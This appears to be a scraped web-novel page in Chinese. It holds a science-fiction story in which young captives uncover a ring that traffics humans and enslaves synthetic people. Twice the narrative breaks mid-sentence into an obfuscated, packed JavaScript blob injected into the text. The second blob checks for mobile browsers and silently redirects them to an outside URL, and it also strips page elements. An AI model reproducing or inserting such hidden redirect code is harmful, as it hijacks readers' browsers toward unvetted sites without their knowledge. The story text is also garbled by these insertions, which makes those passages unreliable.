林沅点头,略显犹豫地看了一眼莉莉丝:“如果我猜得不错……这里恐怕,是‘猎盟’的地盘。” 众人的目光齐齐聚焦在莉莉丝身上。莉莉丝也十分惊讶:“‘猎盟’?那岂不是……” “你哥很可能会知道你回来……”林沅小声接话,试图安抚她,“但目前来看,这个人似乎没有认出你,还把你和我们关在一起。” “也是……”莉莉丝松了口气,“我哥要是真的知道我回来,恐怕早就一发星际导弹,送大家一起灰飞烟灭了。” 谈话间路易突然皱眉,做出了噤声的动作。所有人霎时安静。 林沅仔细侧耳倾听,捕捉到越来越近的脚步声。 “趴下!恢复原位!”她立刻拽着莉莉丝躺下,三个男生也赶紧趴回另一边。 喝到醉醺醺的胖男人去而复返,还带回了一个跟在他身后沉默不语的瘦高个。这个新人瘦削的脸上五官阴冷,身影在昏暗的灯光下被拉扯到更加细长,让林沅想起一个经典的恐怖片形象——瘦长鬼影。 两人径直走到囚笼前。胖子迷迷糊糊地挠头,困得恨不得就地躺下:“就是这几个……我说,明天再看不行吗?” “你不觉得奇怪吗?”沉默的瘦子开口,声音同五官一样阴冷,让人心里泛起冰冷的惧意。 “什么玩意儿啊磨磨唧唧的,一天到晚,就你事最多。”胖子抱怨着,给他打开笼子上的照明灯,“这不挺好的,品相多好啊!” 品相。林沅在心里微微吐槽了一下他的用词,不敢再继续观察,在偏向角落的黑暗中紧紧闭上眼睛,一动也不敢动。 她听见两个人的脚步声窸窸窣窣地绕着笼子走来走去,胖子仿佛一个热情的售货员,一个劲地给身边的瘦子介绍:“看看,多俊啊!这么多年从各个星球偷的‘下等人’,没有哪个有这么好的成色!” 另一个声音冷笑了一下,是那个瘦子:“就因为这样才奇怪。” “哎呀呀,我真是受不了,你跟伊莎贝拉那个女人一样,整天疑神疑鬼的。”胖子好像不知道从哪又搞来了什么喝的,林沅闭着眼,听见他“咕咚咚”吞咽的声响。 喝完酒,他又颇为豪迈地开嗓:“瞧瞧!这样貌!那两个小姑娘!还有这三个男的……嗯……” 胖子听起来突然有些犹豫。他迟疑了一会,好像在格外仔细地观察谁:“……嗯,除了头发颜色跟劣质咖啡似的,一头长卷毛那个……对,就那个小子。” 瘦子问他这个人怎么了。胖子指了指离笼子边缘最近的路易,灌了一大口喝的,嘟囔道:“这个品相不好……” 一瞬间,满室寂静。林沅有些不合时宜地想笑,只能用尽最大的毅力忍住。她感觉到自己脑袋下面,莉莉丝的小腿绷不住地抖了一下。 瘦子问他什么意思,胖子补充道:“长得太像小姑娘了。” “长相到无所谓,重点是基因谱系。”瘦子沉稳地打断他的胡乱点评。 胖子笑了一声:“我看这几个带上拍卖会,铁定能被大人物们看上,卖个好价钱。恐怕……要比单纯卖基因谱系值钱多了!” “别做多余的事。”瘦子低声呵斥道,“别忘了咱们抓这些人到底是为了什么。最近风声可紧,买主们都要等急了。” “哎呀我知道,不会坏事的……” 胖子的嘟囔声还没停,便被瘦子打断:“不行。夜长梦多,今晚就把他们和那些普通的放一起,同个批次送走。” “现在?”胖子听起来很惊讶,“有单子成交了?” “嗯。有个星球主出了大价钱,他的意思是这一批每一个他都包了。” 胖子兴奋地搓了搓手:“多少?” 两个人低头耳语了一阵,胖子兴奋地直拍大腿:“兄弟!这价钱,你不早说?还等什么拍卖会,我这就把它们打包一道送走。” 林沅以为自己要从笼中被转移出来,一时有些紧张。没想到胖子大手一挥:“这金笼子就送他了,当做一点赠礼。顺便把这几个品相好的跟其他家伙隔开,别让他们乱碰,可别弄坏了。” 在林沅等人一动不动地假装晕厥时,整个笼子顶上的天花板突然打开,一个机械爪子勾住了整个笼子,把它像一个真正的鸟笼那样,轻轻松松地提了起来。 感觉到笼子已经在半空中摇晃许久,林沅和其他人终于敢睁开双眼。 “这是……”莉莉丝颇为艰涩的声音响起,带着难以掩饰的恐惧。 他们所在的囚笼于半空中摇晃,无边的夜色中,唯有地面一个人类头骨造型的黄金房子,反射出让人胆寒的冷光。 无尽的凄风苦雨中,已经越来越远的地面上,无数个赤身裸体的人们在雨中蹒跚地行走。冰冷的机器人们无声地守在他们前行的方向上,像是一把把悬于头顶的利剑。 这如同动物迁徙一般的队伍漫长而庞大。无边无际,漫山遍野,以至于看不到尽头。 而在他们前行方向的尽头,无数个漆黑宇宙飞船张开了血盆大口,塞满了白花花的……人类。 “猎盟一直在做人口买卖?”宋庭眠开口打破了沉默。 “恐怕不止是人口买卖。”丹尼尔细致地分析道,“他提到了基因谱系,这些人……很可能也不过是制作人造人的……初级样本。” “不是,他凭什么说我品相不好?”路易愤怒的声音打断了所有人的思绪。 “大哥,你靠点谱行吗?”莉莉丝白了他一眼,“现在是纠结这件事的时候吗?” “我觉得‘品相很好’听起来也不像什么好话。”林沅诚恳地劝解道。 路易气呼呼地坐在角落,大概表达了一种“又不是你们被说品相不好”的无声抗议。 莉莉丝不理会他,接着丹尼尔的话分析道:“可是这些被偷来的人口已经这样多了,再加上人造人……什么样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这里绿草如茵,阳光明媚。而在他们面前,无数个神情呆滞,面无表情的人脸,突然在密不可分的拥挤中,齐齐转向突然掉落而来的林沅等人,一动不动。 “我去……这什么情况啊……”莉莉丝被吓得紧紧抱住林沅,“他们想干什么,把我们吃了吗……” 林沅还没来得及安慰她,莉莉丝又带着点哭腔迷迷糊糊地大声抱怨:“我跟你们说我现在饿得要死到时候谁吃谁还不一定呢信不信我三口一头猪一口一口先把你们所有人都吃了!” 一口气说完,林沅等人的目光也有些无语地齐齐转向她。 “干什么啊!”莉莉丝快崩溃了,“你们也要先把我啃了吗!” “淡定。”林沅反手把她抱在怀里,“你哥不会突然出现在这里把你用星际导弹送上天,这些人类也不会突然变成吃人狂魔。别慌,小场面。” 她拍拍莉莉丝的背,奇迹般安抚了她。 “还是你对我最好了,阿沅。”莉莉丝埋进她怀里,“这几个男人一点用都没有。” “首先声明一下,我没有冒犯你的意思。”路易举起右手,“但是你要是需要借一下胸膛的话,我觉得其实我也……” “滚蛋。” “哦。”路易耸耸肩,放下了手。 几人在有些不合时宜的玩闹中逐渐平静下来。其实林沅知道,所有人都非常紧张。本质上来说,大家不过都是些二十几岁的孩子,没有经历过什么真正的人生大场面,表面声名加身,金枝玉叶,其实脆弱又易碎。 说白了,人也不过是骨头支撑着血肉的拼接产物。死神面前,谁也不比谁高贵。 周围环绕着盯着他们的人好像彻底失去了兴趣,继续麻木地低下头。 唯有一只白嫩的小手,怯生生地从拥挤的人堆里伸出来,轻轻拽了拽林沅,给她递上几片裹在洗到泛白的布块里,薄薄的、掉渣的干巴面包。 “哥哥姐姐好……”来人是个小女孩。在她身后,看着像是她母亲的人紧紧跟着,脸上扬起一个下意识带着歉意和讨好的笑容。 她俩的脸上显露出与周围人的麻木完全不同的神采,虽然也仍有些胆怯和畏缩,但也非常让林沅惊喜了。 “你们好……”林沅谨慎地握了握这只白嫩的小手。小姑娘长着和母亲一样温柔的浅褐色圆眼,在阳光的反射下闪烁着明亮的光芒。 不等众人继续聊下去,头顶的天空突然有大片飞行器轰鸣着飞过,无数无人机和机器人闪烁着追在后面,如同火焰的余光。 母亲美丽的圆眼微微颤动了一瞬。她绷紧瘦削到内凹的脸颊,紧紧把女儿扯在怀里,女孩只来得及将那袋面包塞到林沅手上。 “要分配了,快站好……别让他们看出来!”母亲紧张地小心叮嘱林沅等人,揽着女儿混进人群中。 “看出来?”林沅疑惑了一瞬。 丹尼尔用随身带的小型仪器扫描了一下:“面包没问题……就是干了点,可以吃。” 众人三两下分食了面包,也顾不上被哽到疼痛的喉咙,只暗暗松了口气,心想终于不用再听肚子叫唤了。 无数个高大的机器人举着黑洞洞的武器,将这群人类分成一条条长队。 林沅等人排在同一条长队中相邻的位置,低头沉默着站立。他们还主动将那对母女护在小队中间的位置,换来她们感激的目光。 “待会会给大家分区域参与劳作。”那位母亲小声开口,“我们是从别的星球被贩卖过来的……之前的星球主破产了,拿我们换点钱。” “你刚才说的看出来,是什么意思?”林沅小声询问。 “看出来你们是人。” “人?”林沅疑惑地扫视周围,“这里不全是人吗?” “他们不是正常的人类……而是制作失败的人造人。”那位母亲压低了声音,“我是C367,这是……我女儿D556,我们也是人造人。只不过我们是猎盟科学院完善技术下的产物,而这些人造人,是一些星球主们自己私自复制基因谱系后制造的……有缺陷的人造人。” “他们或者智力缺陷,或者肢体残缺,有的甚至两者兼有……”C367的目光有些不忍地环顾过四周,“他们是星球主为了占领土地而制作出的‘私产’。” “这是违反宇宙人权法案的。”宋庭眠有些愤恨地说道,这是林沅第一次在他脸上看见这样义愤填膺的表情。 “宇宙人权法案……”一个男人突兀的笑声突然在他们旁边的队伍中响起,把大家吓了一跳。林沅下意识有些紧张地把小姑娘护在自己身后。 众人的目光警惕地扫过去。只见一个装着简易机械假肢的男人穿着古怪的、如同舞台表演装扮一般的礼服,戴着一顶残破的黑色礼帽,拄着一支被磨到泛光的拐杖。 这身装扮太诡异了。好在这里的无数人类似乎来自无数个不同的星球,全都穿着各式各样古怪到称不上衣服的衣服,所以他反而并没有显得特别扎眼。 “人权法案是宇宙中无数穷人们的太阳……”男人把全身的重量压在那根拐杖上,小声开口。 “而您们的脚下,是猎盟边缘诸多争议领土中,最亟待开垦的荒星。”他摘下帽子,行了一个散漫又别扭的宫廷礼仪,用词古怪:“荒星只有永夜,我尊贵的少爷小姐们。” 他直起身,扯起一点沧桑的笑意:“这里没有太阳。” 51.纸醉金迷 “可是我们头顶上的,不就是太阳吗?”小姑娘稚嫩的声音怯生生地响起,带着不解世事的天真烂漫。 “这是比喻,宝宝。”C367俯下身,温柔地摸了摸她柔软的褐色长发。 “禁止停留。”头顶飞来飞去的机器人们发出冰冷的警告。摄像头环视全场,避免出现任何破坏秩序的变数。 “走。”她俯身把女儿揽进怀里。众人跟随着蠕动的长队不断向前。 “这是去做什么?”林沅挤在C367身边,小声询问,余光瞥见那位古怪的马戏团先生因为行走不便,被人群拥挤地踉踉跄跄。 “检测。”C367温声回答,“健康状况不合格的会被带走。我们留下来继续做工。” “带走?带去哪?”莉莉丝忍不住问道,语气惊恐。 C367却只是摇摇头,带着一种从麻木中演化而来的平静与温和。 “不用太担心。”她低声安抚众人,“但凡还能流畅地动起来,都不会被随意舍弃。” 她语气平静到漠然,像是在评价什么商品。 蠕动的长队被尽头遮天蔽日的冰冷大厦吞没,无形的压抑在众人心中蔓延。 “我们不能坐以待毙。”路易沉声说道,“顺着这群人,不知道会被带到哪里去。” 他有些焦虑地看了林沅一眼。林沅回头,却敏锐地捕捉到在他身后,宋庭眠手腕通讯器的一点闪光。 她不动声色地拽着宋庭眠,退至几人队型的最末端:“你和阿深是不是知道什么,故意瞒着我们?” 宋庭眠夸张地做口型,发出一点几乎听不见的气音:“小的岂敢。” 林沅无语,轻轻推了他一下,故意诈他:“阿深都跟我说了。我是林沅本人的事,迁移实验的事,你和他一伙的事……全部。” 眼看着几人即将到达检测口,宋庭眠叹了口气:“我就是个小喽啰,您别拿我寻开心了。” 林沅不想再跟他废话,一把拽过他戴着通讯器的手臂,上面显示一个字母“M”的默认头像发送的一条最新信息:“抱歉。无可奉告。” “你看吧。”宋庭眠叹了口气,“我们实验室的内部通讯在一定距离范围内可以自己形成信号。超过这个距离就收不到信息了。” “也就是说闵宗望就在我们附近,甚至就在整个人群里?”林沅立刻明白过来,“他到底想干什么?” “你也看到喽。”宋庭眠耸耸肩,眉眼颓丧,把通讯器怼在林沅面前,“他说无可奉告。” 林沅心里有股无名火瞬间燃起。她深呼吸劝诫自己平静,缓缓朝他伸出手:“给我。” 宋庭眠老老实实把通讯器解除绑定,递给她。 林沅戴上通讯器,又猫着身体小跑回队伍前端,按住跃跃欲试的路易和莉莉丝:“敌我力量相差太悬殊了……先等等。” 她低头摆弄通讯器,利用安全功能追踪闵宗望的定位。但好像因为距离太远,信号不够强烈,整个界面一直在加载。 余光瞥见旁边那位马戏团先生已经被推搡着过了检测,她松了口气。看来这个所谓的检测的确不会太严格。只是不知道这道安检过后,又会把他们带去什么地方。 “进去看看什么情况。”她低声安抚众人,站在队伍最前端迎接检测,“见机行事。” “安检”只是一道扫描的关口。林沅等人慢慢走过去,就像是走过一道最普通的门一般,毫无所觉。 林沅松了口气。还好这道检测似乎只检查身体,不检查通讯设备。 “这样就过来了?”莉莉丝疑惑地喃喃。 “你想怎么着,激光蜕皮?”路易忍不住跟她拌嘴,换来一记重拳。 但就在他们身边,一个瘦骨嶙峋的老人突然被机械爪提起,晃荡几下便扔在一旁。 小姑娘吓了一跳,林沅眼疾手快地捂住她的眼睛。 “他……被‘淘汰’了。”C367轻轻叹了口气。 顺着那个被丢过去的老人,众人这才震惊地发现,检测口的另一边,是一群如同猪猡一般被捆扎在一起的人类。他们被迫拥挤着站成一团,彼此之间只留下一丁点呼吸的空隙。 “被淘汰之后……会去哪里呢,妈妈?”小女孩天真地仰头问道。 C367不知该怎么回答。林沅看见那些人中间甚至有不少和小女孩差不多大的人类,睁着呆滞而迷茫的眼睛,把玩自己黝黑皮下瘦削到突出的肋骨,傻兮兮地嘿嘿一笑。 她忍不住打了个冷颤,强颜欢笑,轻轻掰着小姑娘的肩膀,扭转她的视线:“去别的星球……别看啦。” 小女孩乖巧地点点头,扑回妈妈的怀抱。 “我们能不能救他们呢?”莉莉丝低声问道。 “先保证我们自己能走出去吧。”路易忍不住叹气,“说不定人家活得比我们长。” 丹尼尔站到他俩身边:“抬头。” 众人向上看去,全都不由自主地发出倒吸一口凉气后的惊呼。 只见在这个昏暗的、压抑的、站满了各色人种的巨大空间上方,是一面完全透明的玻璃顶,映着那玻璃之上,金碧辉煌的大厅中,无数灼灼闪耀的琉璃玉盏、珠宝幕墙。 那种辉煌的金色通过玻璃折射,晃得人呼吸困难、头晕目眩。 年轻美丽的男人女人们在他们头顶的大厅上欢乐嬉戏,穿着密闭的作战服,开着球形的机甲在空间中撞来撞去。因为良好的隔音,竟然听不到任何声响。 而无数个神情麻木的人们分散着跪在地面上,给他们递送食物、擦拭地板,甚至还有一群可怜的家伙,在那些球形的机甲间被抛来抛去。 “他们会挑几个好看的、还算正常的,上去伺候那些老爷们。剩下智力不太够的……便留在下面做工。” 沉默在众人中间蔓延。他们顺着队伍继续向前涌去,莉莉丝忍不住小声啐了一口:“人渣。” “这就是我那个好哥哥治下的世界。”她怒极反笑,扯了一下嘴角,“星球主们开拓土地,猎盟军队收取赋税,保证他们的星球不受武力侵犯。从此以后,这些人就成为了胜利者,人上人。” “可这样的社会偏偏稳固。”丹尼尔垂眸,“因为人造人早已无力反抗,而星球主们忠心耿耿。” 路易冷笑:“跟他们比起来,枢密院简直小巫见大巫。” “看来如果没什么意外,我们会到上面去。”林沅冷静地分析道,“我们的机会来了。” “哪有什么机会?”宋庭眠忍不住想拉住她,“我们一没武器二没对外通讯,你别冲动啊。” 林沅笑了一下,看着通讯器上的不明坐标,显示距离她垂直距离135米,水平距离却仅有2 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068592|156160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 5米:“不急……我们上去看看。” 他们不出所料地被带往上层空间,连带着那对母女一起。上升通道在他们身后缓缓关闭,整个玻璃地板之上的建筑,仿佛一个巨大的、金灿灿的春笋宝塔。 震耳欲聋的欢呼笑闹声、飞行器相撞声、激光打中珠宝的噼啪声、灯盏坠落后在地面碎裂迸溅的脆响,一瞬间涌入鼓膜,吵得人心烦意乱。 一位衣着考究的中年男人在吵闹声中走过来,掏出手帕,嫌恶地捂着鼻端,连一丝眼神都不肯放在他们身上:“快把这些新来的垃圾带去检查一下,换上衣服,不准露脸,送去伺候那位夫人。” 一位看着像是属下的人得到命令,把林沅等人往旁边的更衣室赶。 路易眉头微皱,小心做口型:“检查?那我们的通讯器还能留吗?” “放心。”C367突然出声,“他们傲慢得很。” 林沅回头,果然发现那位得令的属下,不仅不认真防止他们逃跑,还躲在队伍末端后面两三米远的位置,紧紧皱着眉头,东张西望。 “他们最讨厌跟奴隶扯上关系。”C367笑了一下,“我们是‘下等人’。” 看见女儿好奇地抬头看她,C367紧紧抿上了唇。林沅温柔地抚摸小姑娘的秀发:“人不分三六九等,宝宝是天使。” “哥哥姐姐们也是,妈妈也是。”小女孩甜甜地笑着,眼睛亮晶晶的。C367眼眶微微湿润,没再对女儿开口,打碎她岌岌可危的幻梦。 “其实我不是她的生身母亲。”C367扭头对林沅小声说道。 林沅点头:“我知道,你们恐怕……没有自主生育的权利。” “但那有什么重要的呢?”林沅笑着安慰她,“你把女儿保护得很好。” 那滴在眼眶中打转的眼泪再也蓄不住,从C367的眼眶中滚落:“但我又能保她多久呢……” 她急切地握住林沅的手:“我知道你们跟我不一样……倘若你们有能力出去,可以带她一起走吗?” 林沅反手轻轻拍了拍她略显粗糙的手背:“别慌。我们……” 她话还未说完,更衣室便到了。那位“押解”他们的侍从,狠狠踹了队伍末端某个沧桑的男人一脚,换来他毫无怨言地磕头认罪。 “都老实一点。”他举起手中劈啪作响的长棍,“谁想挨打挨电,别怪我不客气……滚进去换衣服。” 众人们按男女分开,分别进了两个更衣室。 “我们是老爷的私产,他说大话呢。”C367温柔一笑,熟门熟路地引着林沅和莉莉丝去了更衣室角落,“这里的衣服比较干净,你们穿这些。” 她们换上了简单的仆役装扮,林沅和莉莉丝搞不定那些各式各样的绑带,C367帮她们一一绑好。 “连小孩子也要去伺候吗?”林沅看着换上一身小号女仆装的小姑娘,皱了皱眉。 “伺候夫人到还好……她们最多就是打人杀人。”C367苍白地笑了一下,“你放心,她很会讨夫人们欢心。” 小姑娘在人群中转了一圈,乖巧地铺展开纯白的围裙,揪起亚麻布料的裙摆两端,向林沅等人行了一个屈膝礼,盈盈一笑,熟门熟路地表演:“日安,尊贵的夫人们。我是编号D556的人造人,来自白塔星,猎盟科学院人造人项目第十七实验室出品。”